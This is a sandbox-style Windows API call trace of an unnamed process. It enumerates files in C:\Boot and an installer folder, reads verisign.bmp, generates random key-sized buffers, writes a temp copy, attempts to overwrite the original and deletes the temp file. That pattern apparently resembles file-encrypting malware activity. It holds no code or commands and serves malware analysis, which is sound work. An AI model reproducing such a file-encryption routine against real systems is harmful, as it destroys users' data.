	[0238.017] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9)) returned 1
	[0238.017] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x51, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0238.017] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\header.bmp" (normalized: "c:\\588bce7c90097ed212\\header.bmp"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x2dda353b, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0xf2c)) returned 1
	[0238.018] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0238.018] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x2a, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0238.018] SetEvent (hEvent=0x1a0) returned 1
	[0238.018] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x66ea7e00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0x66ea7e00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0x66ea7e00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0xad1384b)) returned 1
	[0238.027] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0238.027] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xc183da00, ftCreationTime.dwHighDateTime=0x1cac6e3, ftLastAccessTime.dwLowDateTime=0xc183da00, ftLastAccessTime.dwHighDateTime=0x1cac6e3, ftLastWriteTime.dwLowDateTime=0xc183da00, ftLastWriteTime.dwHighDateTime=0x1cac6e3, nFileSizeHigh=0x0, nFileSizeLow=0x1d0200)) returned 1
	[0238.029] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0238.029] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x86.msi"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x4c130c00, ftCreationTime.dwHighDateTime=0x1cac6d9, ftLastAccessTime.dwLowDateTime=0x4c130c00, ftLastAccessTime.dwHighDateTime=0x1cac6d9, ftLastWriteTime.dwLowDateTime=0x4c130c00, ftLastWriteTime.dwHighDateTime=0x1cac6d9, nFileSizeHigh=0x0, nFileSizeLow=0x11c000)) returned 1
	[0238.030] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0238.030] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf74cd515, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf74cd515, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf7cd9415, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x29222c7)) returned 1
	[0238.031] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0238.031] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x64.msi"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2dbe0800, ftCreationTime.dwHighDateTime=0x1cac6fb, ftLastAccessTime.dwLowDateTime=0x2dbe0800, ftLastAccessTime.dwHighDateTime=0x1cac6fb, ftLastWriteTime.dwLowDateTime=0x2dbe0800, ftLastWriteTime.dwHighDateTime=0x1cac6fb, nFileSizeHigh=0x0, nFileSizeLow=0xd5000)) returned 1
	[0238.033] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x46, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0238.033] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\netfx_Extended_x86.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_extended_x86.msi"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x7626f700, ftCreationTime.dwHighDateTime=0x1cac6f6, ftLastAccessTime.dwLowDateTime=0x7626f700, ftLastAccessTime.dwHighDateTime=0x1cac6f6, ftLastWriteTime.dwLowDateTime=0x7626f700, ftLastWriteTime.dwHighDateTime=0x1cac6f6, nFileSizeHigh=0x0, nFileSizeLow=0x79000)) returned 1
	[0238.033] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x46, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0238.033] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x143bc400, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0x143bc400, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0x143bc400, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x23420)) returned 1
	[0238.034] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0238.034] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x2e1038f2, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x19788)) returned 1
	[0238.035] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x3d, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0238.035] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0238.035] GetFileAttributesExW (in: lpFileName="C:\\BOOTNXT" (normalized: "c:\\bootnxt"), fInfoLevelId=0x0, lpFileInformation=0xc000031af0 | out: lpFileInformation=0xc000031af0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xe5533ee0, ftCreationTime.dwHighDateTime=0x1d112ea, ftLastAccessTime.dwLowDateTime=0xef9d0a0c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1)) returned 1
	[0238.072] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0) returned 0
	[0238.072] GetFileAttributesExW (in: lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), fInfoLevelId=0x0, lpFileInformation=0xc000031af0 | out: lpFileInformation=0xc000031af0*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xc4ee267e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4ee267e, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xf1c63cdd, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0238.072] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0) returned 0
	[0238.073] WriteFile (in: hFile=0x0, lpBuffer=0xc0002a8000, nNumberOfBytesToWrite=0x19, lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000031aa4, lpOverlapped=0x0) returned 0
	[0238.073] GetFileAttributesExW (in: lpFileName="C:\\Boot" (normalized: "c:\\boot"), fInfoLevelId=0x0, lpFileInformation=0xc000031af0 | out: lpFileInformation=0xc000031af0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0238.073] CreateFileW (lpFileName="C:\\Boot" (normalized: "c:\\boot"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.073] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0xc0000318a8 | out: lpFindFileData=0xc0000318a8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0238.142] VirtualAlloc (lpAddress=0xc000428000, dwSize=0x4000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000428000
	[0238.149] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0238.216] SetEvent (hEvent=0x188) returned 1
	[0238.216] SetEvent (hEvent=0x1a0) returned 1
	[0238.216] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0238.229] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0238.238] SetEvent (hEvent=0x188) returned 1
	[0238.239] SetEvent (hEvent=0x1a0) returned 1
	[0238.239] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0238.328] SetEvent (hEvent=0x1a0) returned 1
	[0238.328] SetEvent (hEvent=0x188) returned 1
	[0238.328] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0238.798] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0238.866] SetEvent (hEvent=0x1a0) returned 1
	[0238.866] VirtualFree (lpAddress=0xc00048e000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0238.866] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0238.999] SetEvent (hEvent=0xf0) returned 1
	[0238.999] SetEvent (hEvent=0xe4) returned 1
	[0238.999] VirtualFree (lpAddress=0xc000484000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0239.000] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0239.033] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0239.080] SetEvent (hEvent=0x1a0) returned 1
	[0239.081] SetEvent (hEvent=0xe4) returned 1
	[0239.081] VirtualFree (lpAddress=0xc000430000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0239.081] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0239.095] SetEvent (hEvent=0xe4) returned 1
	[0239.095] VirtualFree (lpAddress=0xc000420000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0239.096] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0239.648] SetEvent (hEvent=0xe4) returned 1
	[0239.648] SetEvent (hEvent=0xf0) returned 1
	[0239.648] VirtualFree (lpAddress=0xc000406000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0239.649] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0239.861] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0239.887] VirtualFree (lpAddress=0xc0003dc000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0239.887] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0240.143] VirtualFree (lpAddress=0xc0003d2000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0240.144] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x7070fff3c0, ulCount=0x10, ulNumEntriesRemoved=0x7070fff398, dwMilliseconds=0x3d, fAlertable=0 | out: lpCompletionPortEntries=0x7070fff3c0, ulNumEntriesRemoved=0x7070fff398) returned 0
	[0240.285] SetEvent (hEvent=0xf0) returned 1
	[0240.285] VirtualFree (lpAddress=0xc0003d0000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0240.286] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x7070fff3c0, ulCount=0x10, ulNumEntriesRemoved=0x7070fff398, dwMilliseconds=0x43, fAlertable=0 | out: lpCompletionPortEntries=0x7070fff3c0, ulNumEntriesRemoved=0x7070fff398) returned 0
	[0240.366] SetEvent (hEvent=0x1a0) returned 1
	[0240.366] VirtualFree (lpAddress=0xc0003ce000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0240.367] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x7070fff3c0, ulCount=0x10, ulNumEntriesRemoved=0x7070fff398, dwMilliseconds=0x65, fAlertable=0 | out: lpCompletionPortEntries=0x7070fff3c0, ulNumEntriesRemoved=0x7070fff398) returned 0
	[0240.490] SetEvent (hEvent=0x1a0) returned 1
	[0240.490] SetEvent (hEvent=0xf0) returned 1
	[0240.490] VirtualFree (lpAddress=0xc0003cc000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0240.491] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x7070fff3c0, ulCount=0x10, ulNumEntriesRemoved=0x7070fff398, dwMilliseconds=0x64, fAlertable=0 | out: lpCompletionPortEntries=0x7070fff3c0, ulNumEntriesRemoved=0x7070fff398) returned 0
	[0240.603] SetEvent (hEvent=0x1a0) returned 1
	[0240.603] SetEvent (hEvent=0xfc) returned 1
	[0240.603] VirtualFree (lpAddress=0xc0003ca000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0240.603] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x7070fff3c0, ulCount=0x10, ulNumEntriesRemoved=0x7070fff398, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x7070fff3c0, ulNumEntriesRemoved=0x7070fff398) returned 0
	[0240.612] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x7070fff3c0, ulCount=0x10, ulNumEntriesRemoved=0x7070fff398, dwMilliseconds=0x3f, fAlertable=0 | out: lpCompletionPortEntries=0x7070fff3c0, ulNumEntriesRemoved=0x7070fff398) returned 0
	[0240.687] SetEvent (hEvent=0x1a0) returned 1
	[0240.687] VirtualFree (lpAddress=0xc0003c6000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0240.688] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x7070fff3c0, ulCount=0x10, ulNumEntriesRemoved=0x7070fff398, dwMilliseconds=0x73, fAlertable=0 | out: lpCompletionPortEntries=0x7070fff3c0, ulNumEntriesRemoved=0x7070fff398) returned 0
	[0240.818] SetEvent (hEvent=0xfc) returned 1
	[0240.818] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x42, lpNumberOfBytesWritten=0xc00020fd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00020fd94, lpOverlapped=0x0) returned 0
	[0240.818] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0xc00020fd94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00020fd94, lpOverlapped=0x0) returned 0
	[0240.818] VirtualAlloc (lpAddress=0xc000458000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000458000
	[0240.819] VirtualAlloc (lpAddress=0xc00045a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00045a000
	[0240.820] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0240.820] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc00020fbf4 | out: lpMode=0xc00020fbf4) returned 0
	[0240.820] GetFileType (hFile=0x120) returned 0x1
	[0240.846] GetFileType (hFile=0x120) returned 0x1
	[0240.846] GetFileInformationByHandle (in: hFile=0x120, lpFileInformation=0xc00020fc44 | out: lpFileInformation=0xc00020fc44) returned 1
	[0240.846] GetFileInformationByHandleEx (in: hFile=0x120, FileInformationClass=0x9, lpFileInformation=0xc00020fc28, dwBufferSize=0x8 | out: lpFileInformation=0xc00020fc28) returned 1
	[0240.846] VirtualAlloc (lpAddress=0xc00045c000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00045c000
	[0240.848] ReadFile (in: hFile=0x120, lpBuffer=0xc00045c000, nNumberOfBytesToRead=0xc8e, lpNumberOfBytesRead=0xc00020fb04, lpOverlapped=0x0 | out: lpBuffer=0xc00045c000*, lpNumberOfBytesRead=0xc00020fb04*=0xa8e, lpOverlapped=0x0) returned 1
	[0240.863] ReadFile (in: hFile=0x120, lpBuffer=0xc00045ca8e, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc00020fb04, lpOverlapped=0x0 | out: lpBuffer=0xc00045ca8e*, lpNumberOfBytesRead=0xc00020fb04*=0x0, lpOverlapped=0x0) returned 1
	[0240.863] CloseHandle (hObject=0x120) returned 1
	[0240.863] VirtualAlloc (lpAddress=0xc000462000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000462000
	[0240.864] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000092480 | out: pbBuffer=0xc000092480) returned 1
	[0240.864] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00028c120 | out: pbBuffer=0xc00028c120) returned 1
	[0240.864] VirtualAlloc (lpAddress=0xc000464000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000464000
	[0240.865] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc0002a8101 | out: pbBuffer=0xc0002a8101) returned 1
	[0240.865] VirtualAlloc (lpAddress=0xc000466000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000466000
	[0240.866] VirtualAlloc (lpAddress=0xc000468000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000468000
	[0240.867] VirtualAlloc (lpAddress=0xc00046a000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00046a000
	[0240.868] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\fb1d2333bd43445629e34dc165e66c28" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\fb1d2333bd43445629e34dc165e66c28"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0240.869] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0004cdc04 | out: lpMode=0xc0004cdc04) returned 0
	[0240.869] GetFileType (hFile=0x120) returned 0x1
	[0240.869] WriteFile (in: hFile=0x120, lpBuffer=0xc00046a000*, nNumberOfBytesToWrite=0xb8e, lpNumberOfBytesWritten=0xc0004cdbec, lpOverlapped=0x0 | out: lpBuffer=0xc00046a000*, lpNumberOfBytesWritten=0xc0004cdbec*=0xb8e, lpOverlapped=0x0) returned 1
	[0240.871] CloseHandle (hObject=0x120) returned 1
	[0240.873] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0240.873] VirtualAlloc (lpAddress=0xc000470000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000470000
	[0240.874] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\verisign.bmp\\*", lpFindFileData=0xc0004cda78 | out: lpFindFileData=0xc0004cda78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0240.874] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\fb1d2333bd43445629e34dc165e66c28" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\fb1d2333bd43445629e34dc165e66c28")) returned 1
	[0240.876] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0240.995] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0241.122] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0241.190] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0241.359] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0241.430] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0241.540] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0241.550] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0241.617] VirtualFree (lpAddress=0xc0003aa000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0241.618] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0241.774] WaitForSingleObject (hHandle=0x190, dwMilliseconds=0xffffffff) returned 0x0
	[0241.837] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x7070fff3c0, ulCount=0x10, ulNumEntriesRemoved=0x7070fff398, dwMilliseconds=0x399, fAlertable=0 | out: lpCompletionPortEntries=0x7070fff3c0, ulNumEntriesRemoved=0x7070fff398) returned 1
	[0242.777] SetEvent (hEvent=0xf0) returned 1
	[0242.777] SetEvent (hEvent=0xfc) returned 1
	[0242.777] VirtualFree (lpAddress=0xc000684000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0242.777] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x7070fff3c0, ulCount=0x10, ulNumEntriesRemoved=0x7070fff398, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x7070fff3c0, ulNumEntriesRemoved=0x7070fff398) returned 0
	[0242.836] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x7070fff3c0, ulCount=0x10, ulNumEntriesRemoved=0x7070fff398, dwMilliseconds=0xa, fAlertable=0 | out: lpCompletionPortEntries=0x7070fff3c0, ulNumEntriesRemoved=0x7070fff398) returned 0
	[0242.924] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x7070fff3c0, ulCount=0x10, ulNumEntriesRemoved=0x7070fff398, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x7070fff3c0, ulNumEntriesRemoved=0x7070fff398) returned 0
	[0242.939] SetEvent (hEvent=0xf0) returned 1
	[0242.939] SetEvent (hEvent=0xfc) returned 1
	[0242.939] VirtualFree (lpAddress=0xc00067e000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0242.939] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x7070fff3c0, ulCount=0x10, ulNumEntriesRemoved=0x7070fff398, dwMilliseconds=0x1, fAlertable=0 | out: lpCompletionPortEntries=0x7070fff3c0, ulNumEntriesRemoved=0x7070fff398) returned 0
	[0242.952] GetQueuedCompletionStatusEx (in: CompletionPort=0x15c, lpCompletionPortEntries=0x7070fff3c0, ulCount=0x10, ulNumEntriesRemoved=0x7070fff398, dwMilliseconds=0x16, fAlertable=0 | out: lpCompletionPortEntries=0x7070fff3c0, ulNumEntriesRemoved=0x7070fff398) returned 0
	[0243.022] VirtualFree (lpAddress=0xc000678000, dwSize=0x2000, dwFreeType=0x4000) returned 1
